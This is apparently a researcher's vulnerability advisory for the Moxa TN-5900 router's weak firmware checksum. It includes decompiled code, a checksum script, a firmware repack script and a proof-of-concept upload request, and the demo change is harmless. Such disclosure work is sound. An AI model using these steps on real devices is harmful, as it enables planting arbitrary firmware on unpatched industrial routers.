Moxa TN-5900 Firmware Upgrade Checksum Validation Vulnerability

Vulnerability Description

Moxa TN-5900 v3.1.0 and prior uses an insecure method to validate firmware updates. A malicious user with access to the management interface can upload arbitrary code in a crafted firmware image simply by replacing a CRC value in the image header.

Technical Description

Analysis on this vulnerability began when KoreLogic noticed that the Ssgl2_update_session_now function is immediately called when the URL /goform/web_fwUpload is given to the management application. The Ssgl2_update_session_now function will enable a session after authentication through the user interface.

  undefined4 websSecurityHandler(longlong *param_1) {
    ...
    ...
    if (requestPtr[0x20] != 0) {
      ...
      ...
      field_1 = strncmp(in_t0,"/init.asp",9);
      if (CONCAT44(extraout_v0_hi_07,field_1) != 0) {
        field_2 = strncmp(in_t0,"/goform/web_fwUpload",0x14);
        if (CONCAT44(extraout_v0_hi_08,field_2) == 0) {
          Ssgl2_update_session_now(local_490);
        }
        lVar3 = Ssgl2_webmultisession_session_verify(local_490,auStack104);
        ...
      }
    }
    ...
    ...
  }

Reviewing the web_fwUpload function showed the code is used to update the operating firmware of the affected device. Before the firmware is accepted, it must pass a check. This check is provided through the Ssys_firmwareCheck function.

  void web_fwUpload(longlong *param_1,longlong *param_2) {
    ...
    if (lVar1 == -1) {
      FUN_1200222c0(param_1,"../upgrade.asp","Firmware Upgrade Fail! Restart the device.");
      ...
    }
    else {
      printf("%s() buffer upload datalen = %d\n","web_fwUpload",*(param_1 + 0x39));
      ...
      ...
      }
      else {
        puts("Ssys_firmwareCheck");
        local_118 = Ssys_firmwareCheck(lVar1,4,*(param_1 + 0x39));
        if (-1 < local_118) {
          local_118 = Ssys_writeProgram(lVar1);
        }
        if (local_118 < 0) {
          printf("%s() %d firmware check fail ret = %d\n","web_fwUpload",0x7c0,local_118);
          ...
          ...
        }
        ...
  }

The Ssys_firmwareCheck function checks that the kernel and file system have an expected length and that the provided image passes a checksum algorithm.

  undefined8 Ssys_firmwareCheck(ulonglong param_1,longlong param_2,ulonglong param_3,ulonglong param_4) {
    ...
    if (param_2 == local_44._4_4_) {
      ...
      if (local_4c._0_4_ == 0x400000) {
        if ((uVar4 < 0x1800001) && ((uVar4 & 3) == 0)) {
          ...
          file_check_sum(param_1 + 0x20,local_4c._4_4_ + 0x400000,&local_50);
          uVar3 = 0;
          if (local_50 != local_3c._0_4_) {
            FUN_0010d230("[Error] %s L%d : Firmware checksum error (0x%x), should be 0x%x \r\n","Ssys_firmwareCheck",0x484,local_50,local_3c._0_4_,extraout_t1_00,extraout_t2_00,extraout_t3_00);
            uVar3 = 0xfffffffffffffffc;
          }
        }
        else {
          FUN_0010d230("[Error] %s L%d : Rootfs length error (%d), max to %d bytes \r\n","Ssys_firmwareCheck",0x47a,uVar4,0x1800000,extraout_t1,extraout_t2,extraout_t3);
          uVar3 = 0xfffffffffffffffd;
        }
      }
      else {
        FUN_0010d230("[Error] %s L%d : Kernel length error (%d), should be %d bytes \r\n","common.c","Ssys_firmwareCheck",0x474,local_4c._0_4_,0x400000,extraout_t2,extraout_t3);
        uVar3 = 0xfffffffffffffffe;
      }
    }
    else {
      FUN_0010d230("[Error] %s L%d : Firmware file logo mismatch (0x0x), should be 0x%x \r\n","Ssys_firmwareCheck",0x46c,local_44._4_4_,param_2,extraout_t1,extraout_t2,extraout_t3);
      uVar3 = 0xffffffffffffffff;
    }
    ...
  }

The checksum is simple and implemented using the following algorithm:

  #!/usr/bin/env python3
  import sys
  from functools import partial
  from binascii import hexlify

  with open(sys.argv[1],"rb") as f:
      f.seek(0x20)
      checksum = int(0)
      for dword in iter(partial(f.read,4),b''):
          checksum += int(hexlify(dword),16)
  print (hex(checksum)[-8:])

A breakpoint was set on the file_check_sum function using GDB and the valid ROM provided by Moxa was processed. The result of the checksum process was retrieved.

  Breakpoint 14, 0x000000fff6fac3a4 in _init () from target:/tmp/moxa/usr/lib64/libsyscommon.so
  (gdb) x/1x 0xfffbf4ce30
  0xfffbf4ce30:	0x2f43167a

The bytes 0x2f43167a were found in the ROM image itself inside of a header containing 0x20 bytes.

  $ hexdump -C moxa-tn-5900-series-firmware-v3.1.rom
  00000000  00 40 00 00 01 45 b0 00  00 00 00 20 00 00 00 04  |.@...E..... ....|
  00000010  2f 43 16 7a 03 01 00 00  14 04 07 11 00 00 00 00  |/C.z............|

The following script was constructed to disassemble and rebuild a firmware image using the expected format. The script will create a file /korelogic on the filesystem. The file will be zero bytes.

  #!/bin/sh
  IF=$1
  OF=$2
  dd bs=1 if=$IF of=$IF.header_1 count=$((0x10))
  dd bs=1 if=$IF of=$IF.checksum skip=$((0x10)) count=4
  dd bs=1 if=$IF of=$IF.header_2 skip=$((0x14)) count=$((0x20-0x14))
  dd bs=1 if=$IF of=$IF.kernel skip=$((0x20)) count=$((0x1d9669-0x20))
  dd bs=1 if=$IF of=$IF.splitter skip=$((0x1d9669)) count=$((0x400020-0x1d9669))
  dd bs=1 if=$IF of=$IF.cramfs skip=$((0x400020))
  cramfsswap $IF.cramfs $IF.cramfs.swap
  sudo cramfsck -x fs $IF.cramfs.swap
  touch fs/korelogic
  mkcramfs fs/ $IF.cramfs.modified
  cat $IF.header_1 $IF.checksum $IF.header_2 $IF.kernel $IF.splitter $IF.cramfs.modified > $OF
  ./checksum.py $OF | xxd -r -p > check_value
  dd bs=1 conv=notrunc if=check_value of=$OF seek=$((0x10)) count=4

Here is the script running.

  $ sudo ./make_moxa_image.sh moxa-tn-5900-series-firmware-v3.1.rom hacked.rom
  16+0 records in
  16+0 records out
  16 bytes copied, 9.967e-05 s, 161 kB/s
  4+0 records in
  4+0 records out
  4 bytes copied, 7.4433e-05 s, 53.7 kB/s
  12+0 records in
  12+0 records out
  12 bytes copied, 0.000118918 s, 101 kB/s
  1939017+0 records in
  1939017+0 records out
  1939017 bytes (1.9 MB, 1.8 MiB) copied, 3.76396 s, 515 kB/s
  2255287+0 records in
  2255287+0 records out
  2255287 bytes (2.3 MB, 2.2 MiB) copied, 4.32499 s, 521 kB/s
  21344256+0 records in
  21344256+0 records out
  21344256 bytes (21 MB, 20 MiB) copied, 40.8949 s, 522 kB/s
  Filesystem is big endian, will be converted to little endian.
  Filesystem contains 3313 files.
  CRC: 0x9b7eefd0
  4+0 records in
  4+0 records out
  4 bytes copied, 7.4433e-05 s, 53.7 kB/s

The hacked.rom image is then processed and the same breakpoint is hit. The new checksum should be 0x0987aafc. The new checksum is patched into the hacked.rom image already from the above script.

  $ hexdump -C hacked.rom
  00000000  00 40 00 00 01 45 b0 00  00 00 00 20 00 00 00 04  |.@...E..... ....|
  00000010  09 87 aa fc 03 01 00 00  14 04 07 11 00 00 00 00  |/C.z............|

GDB output confirms that the checksum is the same result:

  Breakpoint 2, 0x000000fff72853a4 in _init () from target:/tmp/moxa/usr/lib64/libsyscommon.so
  (gdb) x/1x 0xfffbad34d0
  0xfffbad34d0:	0x0987aafc

When processing the hacked.rom image, we receive a new error.

  Firmware check failed, error occurs when write kernel to flash. Restart the device.

Comparing the indicated error against the pseudo-c indicates we have passed the firmware validation checks. This was confirmed using GDB as well.

  void web_fwUpload(longlong *param_1,longlong *param_2) {
    ...
    if (lVar1 == -1) {
      ...
    }
    else {
      ...
      else {
        puts("Ssys_firmwareCheck");
        local_118 = Ssys_firmwareCheck(lVar1,4,*(param_1 + 0x39));
        if (-1 < local_118) {
          local_118 = Ssys_writeProgram(lVar1);
        }
        ...
    }

The error indicating a write exception is expected as we were not operating on a Moxa device but were instead emulating the Moxa firmware on a MIPS development board.

Mitigation and Remediation Recommendation

The vendor has released a patch which remediates the described vulnerability. Release notes are available at:

https://www.moxa.com/en/support/product-support/security-advisory/tn-5900-secure-routers-vulnerabilities

Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel) and Josh Hardin of KoreLogic, Inc.

Proof of Concept

POST /goform/web_fwUpload HTTP/1.1
Host: 192.168.10.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------11395841764774651092787307532
Content-Length: <HTTP REQUEST SIZE>
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------11395841764774651092787307532
Content-Disposition: form-data; name="binary"; filename="hacked.rom"
Content-Type: text/plain

<HACKED.ROM FIRMWARE IMAGE>
-----------------------------11395841764774651092787307532
Content-Disposition: form-data; name="submit"

submit
-----------------------------11395841764774651092787307532--

HTTP/1.1 200 OK
Server: GoAhead-Webs
Pragma: no-cache
Cache-control: no-cache
Content-Type: text/html
Transfer-Encoding: chunked

<!DOCTYPE html>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<head>
<title></title>
</head>
<body bgcolor="#E8FFF7" text="#000000" topmargin="10" leftmargin="12" >
<font size="2" face="Arial, Helvetica, sans-serif, Marlett">
<p>Firmware check failed, error occurs when write kernel to flash. Restart the device.</p>
</font></body>
</html>

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